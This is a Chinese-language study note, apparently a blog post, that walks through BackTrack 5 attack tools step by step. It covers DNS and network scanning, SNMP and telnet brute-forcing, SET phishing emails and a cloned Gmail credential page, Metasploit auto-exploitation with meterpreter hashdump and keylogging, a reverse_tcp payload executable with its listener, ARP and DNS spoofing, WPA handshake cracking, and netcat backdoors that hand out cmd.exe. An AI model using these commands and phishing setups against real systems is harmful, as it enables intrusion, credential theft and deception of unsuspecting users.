BT5教程学习笔记

admin

#################################################
#################################################
###                                           ###
###  FX-Ti出品教程                            ###
###                                           ###
###                望大家支持！               ###
###                                           ###
###                            菜鸟飞过！     ###
###                                           ###
###                             QQ：1290975089###
#################################################
#################################################



一、信息收集

I、DNS信息收集(获得内网服务器列表！)

1.Dnsenum:

cd /pentest/enumeration/dns/dnsenum

./dnsenum.pl cisco.com
先行扫描域名（解析询问）

./dnsenum.pl -f dns.txt --dnsserver (ns1.cisco.com|8.8.8.8) cisco.com -o cisco.txt
             -f dns.txt 指定字典                           cisco.com询问目标域 -o输出


II、路由信息收集

1.Tcptraceroute（TcpSYN查询）:

tcptraceroute www.cisco.com


III、All-In-One智能查询

1.Maltego:Java开发的开源智能收集软件，可以用于社工，功能强大！(图形化)


----------------------------------------------------------------------------------------------------------------------------


二、扫描工具

I、主机发现

1.Arping(ARP request专ping直连):

arping -c 3 1.1.1.1
       -c 3 请求次数


2.Fping（ICMP ECHO一次请求多个主机，可实现区段扫描）:

fping -s -r 1 -g 1.1.1.1 1.1.1.224
-s打印最终结果 -r 1请求次数 -g范围


3.Genlist(和上面那个原理一样，但只显示活动主机扫描结果）:

genlist -s 1.1.1.\*


4.Hping3(最猛的扫描，可以自己定义请求，但是命令复杂，有时间再研究）:

hping3 -c 2 1.1.1.1
-c 2简单的ECHO request请求两次，但用这个软件没有意义

{hping3
(进入hping3自己的模式)(格式可在官网查询）

hping send {ip(daddr=1.1.1.1)+icmp(type=8,code=0)}
目的地址为1.1.1.1的ICMP包，类型为8,code为0，为ECHO request

hping recv eth0
在eth0网卡上收包
}


5.Nbtscan(针对微软主机）（扫描一个范围的NetBIOS名字信息，提供关于IP、NetBIOS名、服务可用性、登录用户名、MAC地址的报告）:

nbtscan 1.1.1.1-254


6.Nping(比Hping更易操作）:

nping -c 1 --tcp -p 80 --flags syn 1.1.1.1
-p目的主机端口 --tcpTCPping
综述：以TCPping1.1.1.1主机80端口，第一个包为SYN


7.Onesixtyone(SNMP扫描，用于寻找SNMP Communicaty子串):

cd /pentest/enumeration/snmp/onesixtyone

./onesixtyone -c dict.txt 1.1.1.1
              -c dict.txt指定字典文件


8.Protos(用于扫描目标主机支持协议)（对路由器及其有效）:

cd /pentest/enumeration/irpas

./protos -i eth0 -d 1.1.1.1 -v
         -i 接口 -d 目标IP -v 详细显示

II、操作系统指纹

1.P0f(被动的操作系统指纹监视工具，Cisco IPS就是用这个获取目标操作系统）:

p0f -i eth0


2.Xprobe2(主动）:

Xprobe2 1.1.1.1


III、端口扫描

1.AutoScan(图形化界面，功能简单速度慢）


2.Netifera(图形化页面，可以强大的扫描，还可以进行局域网简易抓包看密码）


3.Nmap(不解释）:

nmap -v -n -sP 1.1.1.1/24  （主机发现）
-v显示结果 -n不做DNS解析 -sP SNMP的ECHO request扫描

nmap -v -n -A 1.1.1.1  （综合扫描）
           -A综合性扫描(全用上）


IV.服务探测

1.Amap(专门做端口服务探测，不够直观）:

amap -bq 1.1.1.1:80


2.Httprint（用于检测HTTP服务器的软件和版本）:

cd /pentest/enumeration/www/httprint/linux

./httprint -h 1.1.1.1 -s signatures.txt


V、VPN探测

1.Ike-scan（是一个IKE扫描工具，用于探测IPSec VPN服务器支持的策略):

ike-scan -M -v 1.1.1.1
主模式扫描


2.sslscan（扫算法、看证书）:

sslscan 1.1.1.1


----------------------------------------------------------------------------------------------------------------------------


三、漏洞发现

I、Cisco工具

1.Cisco Auditing Tool(很小的安全审计工具，用于扫描Cisco路由器的一般性漏洞，例如默认密码，SNMP community子串和老的IOS bug）:

cd /pentest/cisco/cisco-auditing-tool

./CAT -h 1.1.1.1 -w lists/community -a lists/passwords -i
      -h host    -w wordlist        -a password        -i检查老式的ISO bug


2.Cisco passwd scanner（用于批量扫描发现拥有默认telnet密码“cisco”的Cisco设备，快且有效）:

cd /pentest/cisco/ciscos

./ciscos 1.1.1 3 -t 4 -C 10
               3表示3个255，等于255.255.255.0 -t超时秒数 -C最大同时连接数


II、SNMP工具

1.ADMsnmp（暴力破解SNMP community，使用预定字典）:

cd /pentest/enumeration/snmp/admsnmp

./ADMsnmp 1.1.1.1 -wordf snmp.passwd


2.Snmp Enum(获取community后，获取大量关于Cisco，windows和linux的信息）:

cd /pentest/enumeration/snmp/snmpenum

./snmpenum.pl 1.1.1.1 privite cisco.txt
privite--community           cisco.txt脚本还有linux和windows的在目录下


III、HTTP工具

1.Burp Suite（功能强大的web应用安全工具，扫描，分析，攻击web运用，通过手动和自动的技术，甚至一些代理攻击）:

cd /pentest/web/burpsuite

java -jar burpsuite_v1.4.jar


2.Grendel Scan（web安全评估，扫描，检测，攻击普通web应用的脆弱性，生成报告）:

cd /pentest/web/grendel-scan

./grendel.sh


3.Nikto2（高级web服务器安全扫描工具，扫描并检测由于服务器配置失误所造成的安全隐患）:

cd /pentest/web/nikto

./nikto.pl -h 1.1.1.1 -C -p 80 -T 3478b -t 3 -D \ V -o 输出名 -F htm


4.W3AF（特性丰富的web应用攻击和审计框架，协助检测和攻击web的脆弱性）:

cd /pentest/web/w3af

./w3af_console


5.WAFW00F（探测应用层防火墙）:

cd /pentest/web/waffit

./wafw00f.py http://1.1.1.1


IV、SMB工具

1.Samrdump（用于访问DCE/RPC服务，需要一个系统账号，不一定是管理员，能列出所有系统服务，用户账号等等）:

cd /pentest/python/impacket-examples

./samrdump.py 用户:密码@1.1.1.1 445/SMB


V、综合漏洞发现工具Nessus:

/etc/init.d/nessusd start


-------------------------------------------------------------------------------------------------------------------------------


四、社会工程学工具

I、Java Applet Attack Method

1.SET（高级的，多功能的，易于使用的计算机社会工程学工具集，功能强大！此处配置仅为示例，功能是用发一封Email然后有百度链接，伪造
签名，接着JAVA病毒运行，进而使用反连接技术获得SHELL）:

cd /pentest/exploits/set

cd /config

vi set-config

修改开头中的METASPLOIT_PATH=/pentest/exploits/framework3

SELF_SIGNED_APPLET=ON

JAVA_ID_PARAM=Secure Java Applet

cd ..

./set

1

2

1

2
http://为格式
2

16

1

target's e-mail address

1

自己的账号密码

p

Email subject:主题

内容

Next line of the body:http://自己外网IP

Ctrl+C（结束）

等待


II、身份信息搜集

依然为SET，目标：制作一个类似于gmail的钓鱼网页，借此获取信息

1

2

3

2

https://gmail.com

1

target's e-mail address

1

自己的e-mail，密码

p

Email subject:主题

内容

Next line of the body:http://自己外网IP


-------------------------------------------------------------------------------------------------------------------------------


五、应用层攻击MSF

I、连环攻击

db_hosts

db_del_host 1.1.1.1

db_services

db_namp(-T Aggressive 速率:最快，-sV 服务扫描， -n不做DNS解析， -O判断操作系统， -v详细显示操作过程， 1.1.1.1————扫完存在数据库，
方便之后的自动攻击）

db_services

db_autopwn自动攻击（-p根据开放端口选择攻击模块，-t显示用过的攻击模块，-I指定主机1.1.1.1， -e开始攻击，

sessions -i 序号

meterpreter>

getuid

sysinfo

run hashdump

ps

migrate 序号

getuid

键盘记录{

keyscan_start

keyscan_dunmp

keyscan_stop}

run getgui -e（开启远程桌面）

run getgui -u username -p password(添加用户）

远程桌面{

另开终端

rdesktop 1.1.1.1:3389}


暴力破解程序

cd /pentest/password

ophcrack -g -d ~/字典文件/ -t ~/字典文件/ -f~/文件（专破微软HASH）


II、离线攻击

1.制造脚本

cd /pentest/exploits/framework

./msfpayload windows/meterpreter/reverse_tcp LHOST=自己IP LPORT=33333 X > /tmp/名字.exe
                                                                      X产生一个EXE可执行文件
2.建立接收服务器

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 自己IP

set LPORT 33333

exploit服务器启动


-------------------------------------------------------------------------------------------------------------------------------


六、局域网攻击

I、MAC泛洪攻击

1.Macof（泛洪攻击，可以多开几个）:

macof


2.Dsnniff(信息嗅探，与上面一起使用）:

dsniff


II、Yersinia.1.CDP

yersinia -g

也可泛洪攻击


III、Yersinia.2.DHCP


IV、Yersinia.3.DTP


V、Yersinia.4.HSRP（抢占HSRPactive）:

IP倒着写


VI、Yersinia.4.STP


VII、Arpspoof

1.Wireshark

BT5路由功能打开

echo 1 > /proc/sys/net/ipv4/ip_forword

欺骗1.1.1.1，我是1.1.1.2

arpspoof -t 1.1.1.1 1.1.1.2


VIII、Ettercap之ARP欺骗

ettercap -G(功能强大）

Sniff=>Unified sniffing

Hosts=>Scan for hosts

Hosts=>Hosts list

Add to Target 1

Add to Target 2

Mitm=>Arp poisoning

Sniff remote connecting

Start=>Start sniffing

退

dsniff(这次速度慢）


IX、Ettercap之DNS欺骗

前面的步骤同上

cd /usr/share/ettercap

vi etter.dns

修改域名后IP

Plugin=>Manage the plugin

dns_spoof双击


-------------------------------------------------------------------------------------------------------------------------------


七、密码破解

I.无线密码破解

开始监控：

airmon-ng start 网卡

网络抓包：

airodump-ng -w test mon0
            -w输出

然后确认信道（CH）监控：

airodump-ng -c 信道 -w test mon0

开始deauth攻击：

aireplay-ng -0 5 -a (BSSID最后项C0) -c (SATATION，Packets多) mon0
            -0 次数 -a AP的MAC -c 客户的MAC

看到WPA handshake开始：

aircrack-ng -w /字典目录 之前的抓包（test）-*.cap

OK!

看字典质量！

Good luck!


II、Cisco密码破解

ncrack:

ncrack -U pass -v -P pass telnet://1.1.1.1
       -U 用户名(字典) -v 详细显示 -P 密码(字典)


-------------------------------------------------------------------------------------------------------------------------------


八、维持访问

I、DNS隧道技术

太麻烦，所以没看


II、Ping隧道技术

1.服务器端启用服务

cd /pentest/backdoors/ptunnel

./ptunnel


客户端启用隧道

cd /pentest/backdoors/ptunnel

./ptunnel -p 1.1.1.1（服务器端IP）-lp 2222local port) -da DNS -dp 22


连接测试

cd .ssh

ssh -p 2222 cisco@127.0.0.1(ssh 提供服务IP)


III、SSL隧道技术

服务器端：
cd /etc/stunnel

vi stunnel.conf
{
accept = 2323
connect = local IP:23
}

创建目录：var/run/stunnel

stunnel /etc/stunnel/stunnel.conf

netstat -nap|grep stunnel

客户端：

cd /etc/stunnel

vi stunnel.conf
{
accept = 2323
connect = server IP:2323

创建目录：var/run/stunnel

stunnel /etc/stunnel/stunnel.conf

telnet 127.0.0.1:2323


IV、3proxy

服务器端：
vi /pentest/backdoors/3proxy/cfg/3proxy.cfg
{
external server IP
internal server IP
tcppm 80 DNS 80
}

cd /pentest/backdoors/3proxy/

./3proxy cfg/3proxy.cfg


V、Netcat

扫描

nc -v -n -z 1.1.1.1-1.1.1.1024

ftp测试

nc 1.1.1.1 21

HTTP请求

nc 1.1.1.1 80

SMTP发邮件

nc smtp.163.com 25

SMTP收邮件

nc pop.163.com 110


后门：
1.Windows:nc.exe -d -L -p 1234 -e cmd.exe
启动一个服务器 当连接TCP的1234端口时把cmd.exe给你


2.BT:nc -l -p 1234
NC做服务器开放1234端口等待

server:nc.exe -d local IP 1234 -e cmd.exe

传文件：
Windows发送：nc -u Linux IP 53 < test.exe
                -u UDP53传文件
Linux接受：nc -l -u -p 53 > rename.txt
UDP 53接受

NC中继（抓包）

代理端Linux:ls -l telnet_relay
显示：-rwxr-xr-x

vi telnet_relay
{
#!/bin/bash
nc -o out 1.1.1.1 23
-o 抓包输出成 转到IP
}

nc -l -p 23 -e telnet_relay
当被telnet访问（访问23号端口）时，转到文件中所写地址

访问端：telnet 代理端IP